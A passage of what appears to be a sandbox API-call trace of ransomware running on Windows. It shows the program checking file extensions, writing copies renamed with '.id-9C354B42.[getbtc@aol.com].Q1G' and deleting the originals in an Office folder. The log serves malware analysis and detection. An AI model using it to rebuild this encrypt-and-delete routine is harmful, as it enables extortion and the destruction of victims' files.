(lpString1=".zip", lpString2=".HXT") returned 1 [0251.793] lstrlenW (lpString=".rar") returned 4 [0251.793] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0251.793] lstrlenW (lpString=".bz2") returned 4 [0251.793] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0251.793] lstrlenW (lpString=".7z") returned 3 [0251.793] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0251.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0251.793] lstrlenW (lpString=".dbf") returned 4 [0251.793] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0251.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0251.793] lstrlenW (lpString=".1cd") returned 4 [0251.793] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0251.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_COL.HXT") returned 59 [0251.793] lstrlenW (lpString=".jpg") returned 4 [0251.793] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0251.793] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0251.793] lstrlenW (lpString="OIS_F_COL.HXK") returned 13 [0251.793] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.794] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=114) returned 1 [0251.794] CloseHandle (hObject=0x3a0) returned 1 [0251.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk")) returned 0x20 [0251.794] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.794] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.794] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0251.795] GetLastError () returned 0x0 [0251.795] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x72, lpOverlapped=0x0) returned 1 [0251.796] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0251.796] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0251.797] WriteFile (in: hFile=0x3a8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xee, lpOverlapped=0x0) returned 1 [0251.797] SetEndOfFile (hFile=0x3a8) returned 1 [0251.798] CloseHandle (hObject=0x3a8) returned 1 [0251.799] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0251.799] SetEndOfFile (hFile=0x3a0) returned 1 [0251.801] CloseHandle (hObject=0x3a0) returned 1 [0251.801] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0251.801] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_f_col.hxk")) returned 1 [0251.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0251.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0251.802] lstrlenW (lpString=".doc") returned 4 [0251.802] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0251.802] lstrlenW (lpString=".docx") returned 5 [0251.802] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0251.802] lstrlenW (lpString=".pdf") returned 4 [0251.802] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0251.802] lstrlenW (lpString=".xls") returned 4 [0251.802] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0251.802] lstrlenW (lpString=".xlsx") returned 5 [0251.802] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0251.802] lstrlenW (lpString=".ppt") returned 4 [0251.802] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0251.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0251.802] lstrlenW (lpString=".zip") returned 4 [0251.802] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0251.802] lstrlenW (lpString=".rar") returned 4 [0251.802] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0251.802] lstrlenW (lpString=".bz2") returned 4 [0251.802] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0251.802] lstrlenW (lpString=".7z") returned 3 [0251.802] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0251.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0251.802] lstrlenW (lpString=".dbf") returned 4 [0251.802] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0251.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0251.802] lstrlenW (lpString=".1cd") returned 4 [0251.802] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0251.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0251.802] lstrlenW (lpString=".jpg") returned 4 [0251.802] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0251.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0251.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0251.803] lstrlenW (lpString=".doc") returned 4 [0251.803] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0251.803] lstrlenW (lpString=".docx") returned 5 [0251.803] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0251.803] lstrlenW (lpString=".pdf") returned 4 [0251.803] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0251.803] lstrlenW (lpString=".xls") returned 4 [0251.803] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0251.803] lstrlenW (lpString=".xlsx") returned 5 [0251.803] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0251.803] lstrlenW (lpString=".ppt") returned 4 [0251.803] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0251.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0251.803] lstrlenW (lpString=".zip") returned 4 [0251.803] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0251.803] lstrlenW (lpString=".rar") returned 4 [0251.803] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0251.803] lstrlenW (lpString=".bz2") returned 4 [0251.803] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0251.803] lstrlenW (lpString=".7z") returned 3 [0251.803] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0251.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0251.803] lstrlenW (lpString=".dbf") returned 4 [0251.803] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0251.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0251.803] lstrlenW (lpString=".1cd") returned 4 [0251.803] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0251.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_F_COL.HXK") returned 61 [0251.803] lstrlenW (lpString=".jpg") returned 4 [0251.803] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0251.803] lstrcmpiW (lpString1=".HXK", lpString2=".Q1G") returned -1 [0251.803] lstrlenW (lpString="OIS_K_COL.HXK") returned 13 [0251.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.804] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=113) returned 1 [0251.804] CloseHandle (hObject=0x3a0) returned 1 [0251.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk")) returned 0x20 [0251.804] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0251.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0251.804] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.002] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.103] GetLastError () returned 0x0 [0252.103] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x71, lpOverlapped=0x0) returned 1 [0252.104] WriteFile (in: hFile=0x390, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x80, lpOverlapped=0x0) returned 1 [0252.105] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0252.105] WriteFile (in: hFile=0x390, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xee, lpOverlapped=0x0) returned 1 [0252.105] SetEndOfFile (hFile=0x390) returned 1 [0252.105] CloseHandle (hObject=0x390) returned 1 [0252.105] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.105] SetEndOfFile (hFile=0x3a0) returned 1 [0252.108] CloseHandle (hObject=0x3a0) returned 1 [0252.108] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.108] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois_k_col.hxk")) returned 1 [0252.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0252.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0252.109] lstrlenW (lpString=".doc") returned 4 [0252.109] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0252.109] lstrlenW (lpString=".docx") returned 5 [0252.109] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0252.109] lstrlenW (lpString=".pdf") returned 4 [0252.109] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0252.109] lstrlenW (lpString=".xls") returned 4 [0252.109] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0252.109] lstrlenW (lpString=".xlsx") returned 5 [0252.109] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0252.109] lstrlenW (lpString=".ppt") returned 4 [0252.109] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0252.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0252.109] lstrlenW (lpString=".zip") returned 4 [0252.109] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0252.109] lstrlenW (lpString=".rar") returned 4 [0252.109] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0252.109] lstrlenW (lpString=".bz2") returned 4 [0252.109] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0252.109] lstrlenW (lpString=".7z") returned 3 [0252.109] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0252.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0252.109] lstrlenW (lpString=".dbf") returned 4 [0252.109] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0252.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0252.109] lstrlenW (lpString=".1cd") returned 4 [0252.109] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0252.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0252.109] lstrlenW (lpString=".jpg") returned 4 [0252.109] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0252.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0252.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0252.110] lstrlenW (lpString=".doc") returned 4 [0252.110] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0252.110] lstrlenW (lpString=".docx") returned 5 [0252.110] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0252.110] lstrlenW (lpString=".pdf") returned 4 [0252.110] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0252.110] lstrlenW (lpString=".xls") returned 4 [0252.110] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0252.110] lstrlenW (lpString=".xlsx") returned 5 [0252.110] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0252.110] lstrlenW (lpString=".ppt") returned 4 [0252.110] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0252.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0252.110] lstrlenW (lpString=".zip") returned 4 [0252.110] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0252.110] lstrlenW (lpString=".rar") returned 4 [0252.110] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0252.110] lstrlenW (lpString=".bz2") returned 4 [0252.110] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0252.110] lstrlenW (lpString=".7z") returned 3 [0252.110] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0252.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0252.110] lstrlenW (lpString=".dbf") returned 4 [0252.110] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0252.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0252.110] lstrlenW (lpString=".1cd") returned 4 [0252.110] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0252.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS_K_COL.HXK") returned 61 [0252.110] lstrlenW (lpString=".jpg") returned 4 [0252.110] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0252.110] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0252.111] lstrlenW (lpString="ONINTL.DLL") returned 10 [0252.111] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0252.111] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=3415952) returned 1 [0252.111] CloseHandle (hObject=0x3a0) returned 1 [0252.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll")) returned 0x20 [0252.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0252.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0252.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0252.112] lstrlenW (lpString=".doc") returned 4 [0252.112] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0252.112] lstrlenW (lpString=".docx") returned 5 [0252.112] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0252.112] lstrlenW (lpString=".pdf") returned 4 [0252.112] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0252.112] lstrlenW (lpString=".xls") returned 4 [0252.112] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0252.112] lstrlenW (lpString=".xlsx") returned 5 [0252.112] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0252.112] lstrlenW (lpString=".ppt") returned 4 [0252.112] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0252.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0252.112] lstrlenW (lpString=".zip") returned 4 [0252.112] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0252.112] lstrlenW (lpString=".rar") returned 4 [0252.112] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0252.112] lstrlenW (lpString=".bz2") returned 4 [0252.112] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0252.112] lstrlenW (lpString=".7z") returned 3 [0252.112] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0252.112] lstrlenW (lpString=".dbf") returned 4 [0252.112] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0252.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0252.112] lstrlenW (lpString=".1cd") returned 4 [0252.112] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0252.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0252.112] lstrlenW (lpString=".jpg") returned 4 [0252.112] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0252.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0252.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0252.112] lstrlenW (lpString=".doc") returned 4 [0252.112] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0252.113] lstrlenW (lpString=".docx") returned 5 [0252.113] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0252.113] lstrlenW (lpString=".pdf") returned 4 [0252.113] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0252.113] lstrlenW (lpString=".xls") returned 4 [0252.113] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0252.113] lstrlenW (lpString=".xlsx") returned 5 [0252.113] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0252.113] lstrlenW (lpString=".ppt") returned 4 [0252.113] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0252.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0252.113] lstrlenW (lpString=".zip") returned 4 [0252.113] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0252.113] lstrlenW (lpString=".rar") returned 4 [0252.113] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0252.113] lstrlenW (lpString=".bz2") returned 4 [0252.113] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0252.113] lstrlenW (lpString=".7z") returned 3 [0252.113] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0252.113] lstrlenW (lpString=".dbf") returned 4 [0252.113] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0252.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0252.113] lstrlenW (lpString=".1cd") returned 4 [0252.113] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0252.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL") returned 58 [0252.113] lstrlenW (lpString=".jpg") returned 4 [0252.113] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0252.113] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0252.113] lstrlenW (lpString="ONINTL.DLL.IDX_DLL") returned 18 [0252.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0252.114] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=15232) returned 1 [0252.114] CloseHandle (hObject=0x3a0) returned 1 [0252.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll")) returned 0x20 [0252.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0252.114] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.114] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0252.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0252.117] GetLastError () returned 0x0 [0252.117] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x3b80, 